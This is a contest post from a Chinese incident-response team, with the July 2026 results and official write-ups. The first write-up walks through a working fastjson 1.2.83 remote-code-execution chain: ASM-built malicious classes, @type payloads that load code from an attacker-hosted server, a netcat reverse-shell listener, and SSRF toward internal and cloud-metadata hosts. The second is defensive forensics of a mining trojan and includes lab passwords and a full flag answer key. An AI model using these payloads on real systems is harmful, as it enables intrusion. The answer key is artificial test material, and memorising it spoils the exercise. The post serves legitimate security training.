2026-7月Solar应急响应公益月赛排名及官方题解

作者:solar应急响应团队 发布:2026-07-31 14:00 收录:2026-09-07 08:36 2 次阅读 约 11208 字
摘要:点击蓝字 关注我们 1.7月月赛排名 2026年7月Solar应急响应公益月赛已圆满结束。以下为最终WP提交情况 以下为7月月赛最终排名结果 月赛榜总分统计(积分相同排名并列) 2.平台介绍 天狩·网络安全竞赛平台是由 思而听网络科技有限公司 推出的一款Saas化部署的网络安全竞赛平台。…
推荐理由:本文涵盖「应急响应」、「月赛排名」、「题解」等多个主题,重点关注 应急响应。



点击蓝字 关注我们




图片



1.7月月赛排名

2026年7月Solar应急响应公益月赛已圆满结束。以下为最终WP提交情况

以下为7月月赛最终排名结果

月赛榜总分统计(积分相同排名并列)

2.平台介绍

天狩·网络安全竞赛平台是由 思而听网络科技有限公司 推出的一款Saas化部署的网络安全竞赛平台。平台可满足CTF、AWD、渗透赛等各种赛制的举办需要,可以满足万人同时竞赛的需要,支持最高全国级的网络安全大赛承办。具备竞赛中心、竞赛管理、练习场、试卷管理、赛题管理、人员管理、报名管理、数据中心、日志管理、防作弊机制、3D大屏等功能模块,能够全面、精准地考核选拔网络安全人才。

3.赛事回顾

本次应急响应挑战赛围绕主机取证、Web 漏洞利用和加密流量分析三类场景,构建了“frp 公网映射 → RDP 爆破 → 挖矿木马定位 → 持久化清除”“应用侦察 → Fastjson 源码审计 → 远程类加载 → RCE”“mDNS 打印机发现 → TLS 1.3 流量解密 → IPP 作业还原 → PWG Raster 内容提取”三条完整分析链。场景分别覆盖 Windows 服务器因违规内网穿透遭入侵、Java 事件网关反序列化利用,以及财务打印任务的加密流量溯源与内容恢复。

核心考察点分三个层次:一是 Windows 主机应急响应,通过 4624/4625 登录日志、Logon Type 10 和 frp 配置还原 RDP 入侵路径,并结合异常进程、隐藏文件、矿池配置、注册表、计划任务和系统服务完成挖矿木马清除;二是 Java 漏洞分析,从 Actuator 路由泄露和 Fastjson 报错入手,绕过 AutoType 限制,分析 @JSONType 与 getResourceAsStream 类加载逻辑,并针对不同 JDK 构造远程代码执行链;三是加密业务流量取证,利用 PCAPNG DSB 还原 TLS 会话,解析 IPP 作业状态和 Send-Document 数据,最终解码 PWG Raster 页面并恢复打印内容。

这组题目的区分度不在于找到单一漏洞或 Flag,而在于选手能否将日志取证、源码审计、漏洞利用、协议解析和恶意程序处置串联起来,完成从异常发现、攻击链还原到证据恢复与彻底清除的完整闭环。

趋势榜单

解题榜单

4.7月月赛WP

Starwave Gateway

背景故事

「星澜科技」最近上线了一套 Starwave 事件接入网关 v2.4,对外承接各业务线的 webhook / 事件流,号称"schema 驱动、类型感知、毫秒级异步入库"。运营团队把这套系统挂到了公网上,还贴心地留了一个测试账号方便联调。

你是受邀的红队。任务只有一个:证明这套网关能被打穿——拿到服务器上的 flag

传闻他们升级 JSON 解析层时"顺手修了一堆历史反序列化问题",似乎觉得自己很安全。

任务

  • 在目标上获得任意命令执行(RCE);
  • 读取 /flag 文件内容,即为本题 flag。

WriteUp

Phase 0:拿到题目

题目给了:一个 URL,说"Starwave 事件接入网关 v2.4",目标读 /flag

Phase 1:侦察——这是个什么站?

1.1 先看首页和响应头

curl -v http://IP:8083/

返回一个正经的业务网站(事件接入网关),响应头里有:

X-Powered-By: Starwave-Gateway/2.4 (Java/Spring)

→ Java + Spring Boot 栈。确认了技术方向。

页面底部有导航:首页 / 文档 / 更新日志 / 状态 / 登录

1.2 翻文档页,找线索

curl http://IP:8083/docs

看到一行关键文字:"事件载荷以 JSON 提交,使用 @type 字段做多态反序列化。"

→ @type + 多态反序列化 = 典型的 fastjson 特征!但我先不下结论,继续挖。

顺手 view-source(看 HTML 源码):

  • 没有直接泄露隐藏接口的 HTML 注释(这版题目已删掉了)。
  • 但有一行:"提示:自 2.4 起,历史 autoType 接入方式已关闭。" → autoType 关了。

1.3 robots.txt 和 actuator——Spring 的经典泄露面

curl http://IP:8083/robots.txt

#User-agent: *
#Disallow: /internal/
#Disallow: /actuator/

Disallow 告诉我两件事:有 /internal/ 路径,有 /actuator/(Spring Boot Actuator 暴露了)。robots 本意是禁止爬虫,实际是给我指路。

curl http://IP:8083/actuator/mappings

返回一大段 JSON,grep 关键路由:

curl -s .../actuator/mappings | grep -oE '"[/a-z_0-9]+"' | sort -u

# /api/v1/events
# /api/v1/login
# /api/v1/ping
# /internal/wh/ingest    ← 这就是隐藏入口!

→ 发现 POST /internal/wh/ingest。试一下:

curl -X POST http://IP:8083/internal/wh/ingest -d '{}'

{"ok":false,"err":"unauthorized","hint":"POST /api/v1/login to get a token, then send header X-Starwave-Token"}

→ 需要登录。按提示走。

1.4 登录

curl http://IP:8083/login

登录页里留了测试账号:demo / starwave2024

curl -X POST http://IP:8083/api/v1/login \
  -H 'Content-Type: application/json' \
  -d '{"user":"demo","pass":"starwave2024"}'
  
{"ok":true,"token":"sw-abc123...","header":"X-Starwave-Token"}

拿到 token。以后请求都带 X-Starwave-Token: sw-abc123...

Phase 2:识别——确认是 fastjson + autoType 关

2.1 发畸形 JSON,看报错

curl -X POST http://IP:8083/internal/wh/ingest \
  -H "X-Starwave-Token: sw-abc123..." -d 'not-a-json'
  
parse-error: com.alibaba.fastjson.JSONException: ...

报错里的 com.alibaba.fastjson → 确认 JSON 层是 fastjson(不是 Jackson)。

2.2 试经典 gadget,确认 autoType 状态

curl -X POST .../internal/wh/ingest -H "X-Starwave-Token: sw-..." \
  -H 'Content-Type: application/json' \
  -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x","autoCommit":true}'
  
  parse-error: com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl

→ autoType is not support经典链全死:JdbcRowSetImpl、TemplatesImpl 都在黑名单里,而且 autoType 默认关闭。

2.3 版本?

/changelog 只说"升级至最新稳定版"。

→ 版本不确定,但从"autoType 关 + 经典链全拒 + 站点看起来是较新版"推断:很可能是 1.2.80+ 的 hardened 版本

2.4 思路转折点

经典 autoType 链不通,常规思路在这里卡住。但 /docs 提到了 @type 多态反序列化——fastjson 在 autoType 关闭时,仍然要处理 @type(否则多态反序列化全废了)。所以一定还有一条路径处理 @type。去读 fastjson 源码,看 autoType 关闭时 checkAutoType 怎么走。

Phase 3:读源码——发现 @JSONType 探测

3.1 读 checkAutoType

从 Maven Central 下载 fastjson-1.2.83.jar,反编译 ParserConfig.checkAutoType。关键段落:

// ~line 1481
String resource = typeName.replace('.''/') + ".class";
if (defaultClassLoader != null) {
    is = defaultClassLoader.getResourceAsStream(resource);
else {
    is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
    ClassReader classReader = new ClassReader(is, true);
    TypeCollector visitor = new TypeCollector("<clinit>"new Class[0]);
    classReader.accept(visitor);
    jsonType = visitor.hasJsonType();
}
// ...
if (autoTypeSupport || jsonType || expectClassFlag) {
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

→ @type的值被replace('.','/')后拼成资源路径,然后用getResourceAsStream去打开! 而且,如果打开的字节码里有 @JSONType 注解,jsonType=true,即使 autoType 关闭也会 loadClass

3.2 关键推理:. → / 能把 @type 变成 URL

如果 @type = jar:http:..2130706433:18080.probe!.POC:

replace('.','/') → jar:http://2130706433:18080/probe!/POC
".class"      → jar:http://2130706433:18080/probe!/POC.class

→ 这是一个 jar: URL!2130706433 = 127.0.0.1 的十进制(避免 IP 里的 . 被替换成 /)。jar:http://IP:port/path!/entry 格式 = JDK 标准 jar URL。

在 fat-jar 环境(Spring Boot 可执行 jar)中,ParserConfig.class.getClassLoader() = LaunchedURLClassLoader,它会解析 jar: URL,去远程 HTTP 拉那个 jar,读取 POC.class。然后如果 POC.class 带 @JSONType 注解 → jsonType=true → loadClass → defineClass + 跑 <clinit> → RCE!

这就是漏洞:@type 的值被拼成 classpath 资源路径,而攻击者控制这个值,可以让它变成远程 URL。

Phase 4:构造恶意类——从 javap 到 ASM

4.1 先写正常 Java 版,javac 编译

我需要一个带 @JSONType 注解、<clinit> 里执行命令的类。先写能编译的正常版:

// POC.java —— 正常版,能 javac
import com.alibaba.fastjson.annotation.JSONType;
@JSONType
public class POC {
    static {
        try { Runtime.getRuntime().exec(new String[]{"sh","-c","id"}); } catch (Exception e) {}
    }
}

//javac -cp fastjson-1.2.83.jar POC.java   # 编译成功

4.2 javap 看字节码——ASM 的"图纸"

javap -c -v -p POC.class

关键输出(static {} = <clinit>):

static {};
  Code:
    0: invokestatic  #2  // Runtime.getRuntime()
    3: iconst_3           // push 3
    4: anewarray    #3   // new String[3]
    7: dup
    8: iconst_0
    9: ldc           #4  // "sh"
   11: aastore
   ... (重复 -c, 命令)
   22: invokevirtual #7  // Runtime.exec(String[])
   25: pop
   26: return

还有 RuntimeVisibleAnnotations: @JSONType

→ 这就是我要在 ASM 里复刻的每一条指令。

4.3 ASM 照着 javap 翻译

ASM 的 visitor API 跟字节码一一对应。照着 javap 的每一行写对应的 ASM 调用:

ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
// 类头:版本、名字、父类
cw.visit(V1_8, ACC_PUBLIC, internalName, null, "java/lang/Object", null);
// @JSONType 注解
cw.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true).visitEnd();
// <init>:调 super
MethodVisitor init = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
init.visitCode(); init.visitVarInsn(ALOAD, 0);
init.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
init.visitInsn(RETURN); init.visitMaxs(1, 1); init.visitEnd();
// <clinit>:Runtime.exec({"sh","-c", cmd})
MethodVisitor cl = cw.visitMethod(ACC_STATIC, "<clinit>", "()V", null, null);
cl.visitCode();
cl.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;");
cl.visitInsn(ICONST_3);
cl.visitTypeInsn(ANEWARRAY, "java/lang/String");
cl.visitInsn(DUP); cl.visitInsn(ICONST_0); cl.visitLdcInsn("sh");  cl.visitInsn(AASTORE);
cl.visitInsn(DUP); cl.visitInsn(ICONST_1); cl.visitLdcInsn("-c");  cl.visitInsn(AASTORE);
cl.visitInsn(DUP); cl.visitInsn(ICONST_2); cl.visitLdcInsn(cmd);   cl.visitInsn(AASTORE);
cl.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;");
cl.visitInsn(POP);
cl.visitInsn(RETURN); cl.visitMaxs(0, 0); cl.visitEnd();
cw.visitEnd();
byte[] klass = cw.toByteArray();

每一行 ASM 调用都对应 javap 里的一条指令,机械翻译,不需要背字节码。

4.4 唯一 javac 做不到的:类名

JDK8 上,defineClass 接受 jar:http://... 这种非法类名。所以我只需在 ASM 里把 internalName 设成:

jar:http://2130706433:18080/probe!/POC

打包成 probe.jar(entry 名 = POC.class,对上 @type 末尾的 POC)。

4.5 JDK17/21 的问题——和 /proc/self/fd 解法

问题: JDK9+ 的 defineClass 拒绝非法类名(jar:http://... 里有 :/)。打 JDK17 目标时,类被下载了但 defineClass 报 ClassFormatError: Illegal class name。我一度以为 JDK17 只能 SSRF。

突破: 仔细想——JDK 的 jar: URL handler 下载远程 jar 后,会把它作为一个打开的文件描述符保留着(Linux /proc/self/fd/N)。如果我能先让靶机下载 jar(第一阶段),再通过/proc/self/fd/N用合法类名读同一个 jar(第二阶段),defineClass 就不会拒绝了!

两阶段链(fd 链):

第一阶段(probe.jar 里放一个 @JSONType 但无 <clinit> 的"诱饵"类,只为缓存 jar):

@type = jar:http:..你的IP.端口.probe!.foo.Exception
→ 靶机拉 probe.jar, JDK handler 缓存为 /proc/self/fd/N
→ foo/Exception 有 @JSONType → jsonType=true(但没 <clinit>,无危害)

第二阶段(同一个 jar 里放合法名的 exploit 类,fdN/Exception):

@type = jar:file:.proc.self.fd.3!.fd3.Exception
→ replace 后: jar:file:/proc/self/fd/3!/fd3/Exception.class
→ 从缓存的 jar(FD 3)里读 fd3/Exception.class
→ 类名 "fd3.Exception" 合法!defineClass 成功!
→ @JSONType + <clinit> 执行 → RCE!

不知道 jar 在哪个 FD → 从 fd 3 到 256 逐个试(发一个 JSON 数组,254 个 @type 条目)。

probe.jar 里需要预置 254 个 entry:fd3/Exception.class ... fd256/Exception.class,每个的 ASM internal name = jar:file:/proc/self/fd/N!/fdN/Exception,带 @JSONType + <clinit>

Phase 5:打——投递 + 触发 + 接 shell

5.1 起投递 HTTP + 反弹监听

#投递 HTTP(python 简易服务器,把 probe.jar 改名 probe 放 www/)
cd www && python3 -m http.server 18080 &

#反弹监听
nc -lvnp 4444 &

5.2 JDK8 目标:直接短链

生成单文件 class(不需要 jar 包装)
# @type = http:..你的IP.端口.a  → target fetches http://你:端口/a.class

curl -X POST http://IP:8083/internal/wh/ingest \
  -H "X-Starwave-Token: sw-..." -H 'Content-Type: application/json' \
  -d '{"@type":"http:..你的IP整数.18080.a"}'

靶机来拉 /a.class → defineClass(接受非法名,JDK8)→ <clinit> 跑 → 反弹 shell。

5.3 JDK17/21 目标:fd 链

#发 JSON 数组(254 个条目)
curl -X POST http://IP:8083/internal/wh/ingest \
  -H "X-Starwave-Token: sw-..." -H 'Content-Type: application/json' \
  -d '[
    {"@type":"jar:http:..你的IP整数.18080.probe!.foo.Exception"},
    {"@type":"jar:file:.proc.self.fd.3!.fd3.Exception"},
    {"@type":"jar:file:.proc.self.fd.4!.fd4.Exception"},
    ...
    {"@type":"jar:file:.proc.self.fd.256!.fd256.Exception"}
  ]'

靶机先拉 probe.jar(第一阶段),然后逐个试 fdN(第二阶段)→ 某个 FD 命中 → defineClass 合法名 → <clinit> 跑 → shell。

5.4 shell 落地 → flag

Connection from 172.x.0.x
starwave@abc123:/app$ id
uid=1001(starwave) gid=1001(starwave)
starwave@abc123:/app$ cat /flag
flag{……}

Phase 6:如果 RCE 不通,退一步做 SSRF

如果目标:

  • 同步线程解析(不是 worker):defineClass 用的是 Tomcat WebappClassLoader,不是 LaunchedURLClassLoader → defineClass 失败 → 只有 SSRF(靶机去拉了 jar 但没执行)。
  • JDK9+ 且没发现 fd 链(或者 fd 不通):同上,只有 SSRF。

SSRF 仍然可以利用(盲 SSRF 打内网):

@type = jar:http:..内网目标IP整数.端口.路径!.POC
→ 靶机去 GET http://内网目标:端口/路径(盲打,看不到响应)

能做:端口扫描、打内网 admin 接口、触发云元数据(169.254.169.254)等。但读不到响应(字节被 fastjson 内部消费掉了),只能靠回调/旁路确认。

总结:完整解题链路

侦察                → actuator/mappings 发现 /internal/wh/ingest

鉴权                → /login 页 demo/starwave2024 → token

识别                → 畸形 JSON 报错 = fastjson;经典 gadget 被拒 = autoType 关

思路转折            → 读 fastjson 源码 → 发现 @JSONType 探测 + getResourceAsStream

构造恶意类          → javac 编正常版 → javap 看字节码 → ASM 照着翻译 → 改类名

JDK8 短链           → @type=http:..IP.port.a(直接 defineClass 非法名)

JDK17/21 fd 链      → 两阶段:jar:http 缓存 → jar:file:/proc/self/fd/N 合法名 defineClass

投递+触发           → HTTP serve jar + POST @type

getshell / getflag  → nc 接反弹 shell → cat /flag

经验总结

  1. getResourceAsStream是个 sink——跟 Runtime.execClass.forName 一样,用户输入流到它就是漏洞。fastjson 把 @type 值拼成资源路径流到了这里。
  2. replace('.','/')是放大器——一个看似无害的字符串替换,让攻击者能把 @type 变成 URL。
  3. JDK 的 jar: URL handler 会缓存文件描述符——这是 /proc/self/fd 链的基础。所有打开过的远程 jar,在 /proc/self/fd/ 都有副本。
  4. 非法类名不是死路——defineClass 在 JDK8 上接受非法名(历史包袱),在 JDK9+ 上拒绝但可以用 /proc/self/fd + 合法名绕过。
  5. fastjson 1.x 的 autoType 模型从设计上就补不完——这就是为什么 fastjson 2.x 彻底重写了 autoType。

某医院系统挖矿事件排查

背景描述

某医院信息系统原部署于内网环境。一名开发人员为便于远程办公,私自通过端口映射

将该服务器暴露至公网。攻击者由此发现该暴露面并实施入侵,在服务器上植入并运行

了挖矿木马。

请作为应急响应人员,对本次安全事件进行溯源分析,定位攻击路径与失陷证据,并彻

底清除挖矿木马。

相关分析工具已放置于当前服务器桌面。

登录账号:administrator

登录密码:Solar2026

靶场访问与资源链接:

离线环境(百度网盘): https://pan.baidu.com/s/1mBBpyNN3Kkps42UkiTR5xw?pwd=rpbh

历史靶场合集:思而听-solar应急响应靶场训练合集(持续更新)V1.0_251025(https://sierting.feishu.cn/wiki/ZjxSwm1ngi5hSWkR0O6cQ9TznGb)

题目清单

1.请提交攻击者暴力破解后,首次成功登录远程桌面的时间。

提交格式:flag{2026.1.1-13:14:01}

2.请提交运维人员用于内网穿透的服务器地址,及其映射的远程桌面端口。

提交格式:flag{IP:端口}

3.请提交挖矿主程序与守护进程所在的完整目录路径。

提交格式:flag{C:\xxx\xxx\xxx}

4.请提交挖矿程序外联的矿池地址及端口。

提交格式:flag{xxxx:1234}

5.请提交挖矿配置文件中记录的钱包地址与矿工名(格式:钱包地址.矿工名)。

提交格式:flag{xxxxxxx.xx}

6.请提交挖矿主程序文件的 MD5 哈希值。

提交格式:flag{32位十六进制}

7.终止挖矿程序及其守护进程,完成后在桌面 flag 目录下读取 1.txt 中的 flag 并提交。

8.删除挖矿主程序与守护进程对应的程序文件,完成后读取 2.txt 中的 flag 并提交。

9.清除挖矿程序写入的注册表自启动项,完成后读取 3.txt 中的 flag 并提交。

10.删除挖矿程序创建的计划任务,完成后读取 4.txt 中的 flag 并提交。

11.删除挖矿程序安装的系统服务,完成后读取 5.txt 中的 flag 并提交。

答案清单

  1. flag{2025.7.30-8:28:31}
  2. flag{115.28.208.215:13389}
  3. flag{C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Update}
  4. flag{stratum-ltc.antpool.com:8888}
  5. flag{ltc1q0fake0training0wallet0000000000aaaaaaaaaa.rig0}
  6. flag{5681DF140337A9B736CF8C62DFAC98FC}
  7. flag{4249be0e3fefcb5ebebc40cb30d49f8e}
  8. flag{3e5af0e0d8de0a1856a693ac353d1517}
  9. flag{a32b7d2b1505d66bc919e27a0ac24a9d}
  10. flag{2329d57242e18c42cea938e9f055d37b}
  11. flag{43526de4594018e3c574b03cd1f64a22}

解题步骤

任务一:请提交攻击者暴力破解后,首次成功登录远程桌面的时间

上机第一件事,先摸清楚这台机器到底对外暴露了什么。打开 cmd 执行netstat -nao,这条命令会以数字形式列出当前主机所有的网络连接和监听端口(-n不做域名解析、-a显示所有连接、-o附带进程 PID),排查时重点看本地地址为0.0.0.0的条目:0.0.0.0表示监听在本机的所有网卡地址上,意味着只要网络可达,外部任何人都能连上这个端口;反之如果监听在127.0.0.1,则只允许本机自己访问,风险面完全不同。

img

netstat -nao 结果,红框内均为监听在 0.0.0.0 上、对全地址开放的端口

从结果里其实可以观察到,3306(MySQL 数据库)、3389(远程桌面 RDP)、8000、8008 等端口都处于开放监听状态。

访问 127.0.0.1:8008,为医院门诊管理系统的管理员登录页

简单确认一下业务:8008 端口跑的是医院门诊管理系统的前端页面,8000 端口则是这套系统的后端接口,3306 自然是配套的数据库。回到题目本身,本题给了明确引导:问的是远程桌面暴力破解成功的时间,所以主线往 3389 上靠;但在实战中不能题目问什么就只查什么,凡是发现有可疑访问痕迹的业务系统,都要尽力排查一遍是否被利用过,比如 Web 后台有没有异常登录日志、数据库有没有被拖走,等排查经验足够多之后,心里自然会形成一个排查优先级。

接下来查登录日志。Windows 的登录成功事件记录在安全日志中,事件 ID 为 4624(对应的登录失败是 4625,爆破场景下通常会看到大量 4625 夹杂少量 4624)。原生的事件查看器筛选起来比较笨拙,这里用桌面工具目录下的 FullEventLogView,这是 NirSoft 出品的一款轻量日志查看工具,读取速度快、筛选条件灵活,应急响应现场很好用。打开后选择所有项目事件,事件 ID 填 4624,筛选完还有 200 多条,逐条看显然不现实,必须进一步缩小范围。这里请注意,4624 事件里有一个非常关键的字段,登录类型(Logon Type),它标识了这次登录是通过什么方式发起的,比如下图中这条事件的登录类型就是 2。

FullEventLogView 筛选 4624 事件,下方详情可见该条事件登录类型为 2(本机交互式登录)

不同的登录协议和登录方式,对应的登录类型是不一样的:最常见的是类型 3(网络登录,比如访问 SMB 共享、远程命令执行)、类型 2(交互式登录,即人在本机物理键盘上登录),而 Windows 远程桌面(RDP)连接产生的登录类型一般是 10(RemoteInteractive,远程交互式),这个需要谨记,是定位 RDP 登录行为的核心筛选条件。事件描述下方的官方说明文字其实也写明了这一点,平时多看字段注释,很多知识就是这么攒下来的。

4624 事件说明原文:"登录类型"字段最常见的类型是 2(交互式)和 3(网络)

明确了筛选思路,在 FullEventLogView 的"仅显示有指定事件描述字串的事件"一栏填入登录类型:                10。这里有个非常容易踩的坑:这段字串必须和事件描述里的原文完全一致,包括"登录类型:"后面的那一长串空格,多一个少一个空格都会直接影响筛选结果,建议直接从事件详情里复制粘贴,不要手敲。

高级选项中按事件描述字串"登录类型: 10"精确筛选

筛选后只剩 2 个事件,按时间排序,最早的一次 RDP 登录成功时间为 2025/7/30 8:28:31,登录账户为 Administrator。但是值得注意的是,事件里记录的登录来源 IP 为 127.0.0.1,远程桌面登录的来源居然是本机回环地址,这显然不符合"攻击者从公网爆破进来"的直觉,是一个非常有味道的细节,先记住这个伏笔,下文任务二会把这个点讲透。

筛选后仅剩 2 条类型 10 的登录成功记录,最早一条为 2025/7/30 8:28:31,来源 IP 为 127.0.0.1

故本题flag为:flag{2025.7.30-8:28:31}

任务二:请提交运维人员用于内网穿透的服务器地址,及其映射的远程桌面端口

我们在实战中遇到过非常多为了图方便、私自把服务器远程端口映射到公网的运维或开发人员,这套环境就是照着这类真实场景搭的。常见的内网穿透/端口映射程序有:frp、rathole、NPS、ngrok、花生壳等,它们的共同点是都会在受害机上留一个客户端程序和一份配置文件,配置文件中必然写有中转服务器的地址和映射规则。排查思路很直接:优先使用 Everything 做全局文件名搜索,把上述关键词挨个搜一遍,命中率很高;实在找不到的情况下,再根据可疑时间节点去取证 Amcache 日志(Amcache.hve 是 Windows 记录程序执行痕迹的注册表配置单元,能还原某段时间内跑过什么程序,即使程序后来被删掉也能留下影子)。

Everything 全局搜索"frp",命中 frpc.exe 与 frpc.toml,位于 C:\Users\Administrator\Documents

如上图,通过搜索 frp 关键词,在C:\Users\Administrator\Documents目录下找到了相关程序:frpc.exe 和 frpc.toml。这里简单介绍一下,frp 是目前最主流的开源内网穿透工具,分为服务端 frps(部署在公网 VPS 上)和客户端 frpc(部署在内网机器上),frpc 启动后主动连接 frps 建立隧道,把内网端口通过隧道暴露到公网。后缀为 c 的 frpc 即客户端,它旁边的 frpc.toml 就是配置文件,所有映射规则都写在里面。

frpc.toml 配置内容:serverAddr 为 115.28.208.215,localPort 3389 经 remotePort 13389 映射出去

用记事本打开 frpc.toml,几个字段逐一看:serverAddr = "115.28.208.215"即 frps 服务端(也就是运维自己的中转服务器)的 IP;serverPort = 7000是 frp 客户端与服务端之间建立控制连接的端口,属于 frp 的内部通信端口,并不是对外提供远程桌面的端口;auth.token是连接服务端的认证令牌。重点在[[proxies]]代理规则段:name = "rdp-windows"type = "tcp"localIP = "127.0.0.1"localPort = 3389表示把本机的远程桌面服务作为被转发对象,remotePort = 13389才是真正的关键,它表示在 frps 服务端 115.28.208.215 上开放 13389 端口,任何人访问115.28.208.215:13389,流量都会经隧道转发到这台服务器的 3389。也就是说,攻击者在公网上对着 115.28.208.215:13389 做 RDP 爆破,实际上打的就是这台内网服务器的远程桌面。

故本题flag为:flag{115.28.208.215:13389}

现在回到任务一留下的伏笔:为什么暴力破解成功的事件里,登录来源 IP 是 127.0.0.1?看懂 frp 的工作原理就豁然开朗了,内网穿透本质上可以理解为反向代理,攻击者的 RDP 流量先到达公网的 frps 服务端,再由本机的 frpc 客户端从隧道中取出、以本机身份转发给本机的 3389。对远程桌面服务来说,连接是从本机的 frpc 进程发起的,相当于自己访问自己,所以日志里来源 IP 自然是 127.0.0.1。这一点在实战中极具迷惑性:如果只看日志里的回环地址,很容易误判成"本机内部行为"而漏掉真实的公网攻击链,反过来,一旦发现 RDP 登录来源是 127.0.0.1 或莫名的内网地址,就要立刻警觉本机可能跑了 frp、NPS 这类代理隧道程序。

任务三:请提交挖矿主程序与守护进程所在的完整目录路径。

挖矿木马排查其实有很强的共性可循,和之前发布过的挖矿环境一样,抓住三个特征:持续外联矿池、CPU 占用异常偏高、做权限维持(自启动、计划任务、服务等)。先看最直观的,打开任务管理器,按 CPU 占用排序,当前占用最高的程序名为 sysupdate.exe,吃掉了将近一半的 CPU。这个名字是在刻意模仿 Windows 系统更新组件来迷惑运维,但真正的系统组件不会长期把 CPU 跑到这个量级。

任务管理器中 sysupdate.exe 占用 CPU 约 46%,同时列表中还能看到 sysguard.exe

在 sysupdate.exe 上右键并点击"打开文件所在的位置",跳转到C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Update目录。这个路径同样是精心伪装过的,逐级都蹭了微软官方目录的名字。但是仔细观察会发现,当前目录下除了一个名为 sysupdate.log 的日志文件外空空如也,程序本体和配置文件都不见了。这也是实战中的一个要点:挖矿木马落地后通常会给自己加隐藏属性来对抗排查,"进程明明在跑、目录里却找不到文件"就是典型信号。此时在当前目录下打开 cmd,输入dir /a列出包括隐藏文件在内的所有文件(/a参数的作用就是显示所有属性的文件,不加这个参数默认是看不到隐藏文件的),目录里的真实内容便一览无余。

dir /a 列出目录全部文件:config.json、sysguard.exe、sysupdate.exe 均被隐藏,只有 sysupdate.log 可见

可以看到,这个目录下实际藏着 4 个文件:config.json(挖矿配置)、sysguard.exe(守护进程)、sysupdate.exe(挖矿主程序)、sysupdate.log(运行日志)。

故本题flag为:flag{C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Update}

任务四:请提交挖矿程序外联的矿池地址及端口

上面提到C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Update目录下有个 config.json,这是挖矿程序的配置文件,矿池、钱包等核心信息都在里面。但直接在资源管理器里是看不到它的,需要先在"查看"选项卡中把"隐藏的项目"勾选上,被加了隐藏属性的文件才会显示出来。

资源管理器"查看"选项卡中勾选"隐藏的项目"

勾选后 config.json 现形了,右键查看属性确认一下,"隐藏"属性确实处于勾选状态,这正是它在资源管理器中隐身的原因。

config.json 属性窗口,可见"隐藏(H)"被勾选

用记事本打开此文件,即可获取挖矿程序的完整配置。这是一份典型的 XMRig 风格配置(XMRig 是最常见的开源挖矿程序,市面上的挖矿木马大多基于它二次打包),其中 pools 段记录了矿池连接信息,从矿池域名中的 ltc 字样可以判断挖的是莱特币(LTC):

{
    "api": { "id"null"worker-id""rig0" },
    "http": { "enabled"false"host""127.0.0.1""port"0 },
    "autosave"true"background"false"colors"true"title"true,
    "randomx": { "init"-1"mode""auto""1gb-pages"false },
    "cpu": { "enabled"true"huge-pages"true"hw-aes"null"priority"null"yield"true"max-threads-hint"75 },
    "opencl": { "enabled"false },
    "cuda":   { "enabled"false },
    "pools": [
        {
            "url""stratum+tcp://stratum-ltc.antpool.com:8888",
            "user""ltc1q0fake0training0wallet0000000000aaaaaaaaaa.rig0",
            "pass""x",
            "nicehash"false"keepalive"true"enabled"true"tls"false"sni"false
        }
    ]
}

记事本打开 config.json,pools 段可见矿池地址 stratum-ltc.antpool.com:8888 及钱包信息

url字段的完整值为stratum+tcp://``stratum-ltc.antpool.com:8888。补充一个知识点:stratum+tcp是矿机与矿池之间通信的 Stratum 协议的传输方式标识,属于协议前缀,不算地址本体,所以矿池地址和端口就是 stratum-ltc.antpool.com:8888(antpool 即蚂蚁矿池)。

故本题flag:flag{stratum-ltc.antpool.com:8888}

任务五:请提交挖矿配置文件中记录的钱包地址与矿工名(格式:钱包地址.矿工名)

应急响应做到这一步,只把矿池地址抄下来还不够,还要趁配置文件在手,把这些字段的含义吃透,这对判断收益归属和攻击者画像很关键。url字段上一题已说过,是矿池目标地址;user字段类似于我们平常用的登录账号,矿池靠它来识别"这台矿机挖出来的收益算到谁头上",其值由钱包地址和矿工名两部分组成,中间以.分隔,矿工名(也叫矿工号、rig 名)是攻击者给每台矿机起的编号,方便在矿池后台区分多台肉鸡;pass字段是密码,对绝大多数公共矿池来说随便填即可,这里的"x"就是占位写法。

对照配置,user值为ltc1q0fake0training0wallet0000000000aaaaaaaaaa.rig0.之前是莱特币钱包地址,之后的 rig0 即矿工名。

故本题flag为:flag{ltc1q0fake0training0wallet0000000000aaaaaaaaaa.rig0}

任务六:请提交挖矿主程序文件的 MD5 哈希值

前面虽然勾选了"隐藏的项目",config.json 也显示出来了,但两个 exe 程序依然看不到,没有文件本体就无法进行算哈希、传沙箱等后续操作。

已勾选"隐藏的项目",但 Update 目录中仍只有 config.json 和 sysupdate.log,两个 exe 不可见

普通隐藏属性在勾选"隐藏的项目"后就能显示,这里却依然隐身,大概率是攻击者用 attrib 命令给程序叠加了"系统+隐藏"双重属性,带系统属性的文件会被资源管理器当作受保护的操作系统文件继续隐藏。这里介绍一下 attrib:它是 Windows 自带的文件属性管理命令,可以给文件/目录设置或清除只读(R)、存档(A)、系统(S)、隐藏(H)四种属性,+表示添加属性、-表示去除属性,木马加属性一般用的是attrib +s +h 文件名。直接在 cmd 中输入不带参数的attrib命令,即可查看当前目录全部文件的属性标记,从回显中可以看到 sysguard.exe 和 sysupdate.exe 这两个程序都被打上了 SH(系统+隐藏)属性,和前面的判断完全吻合。

attrib 查看文件属性,sysguard.exe 与 sysupdate.exe 均带 SH(系统+隐藏)属性

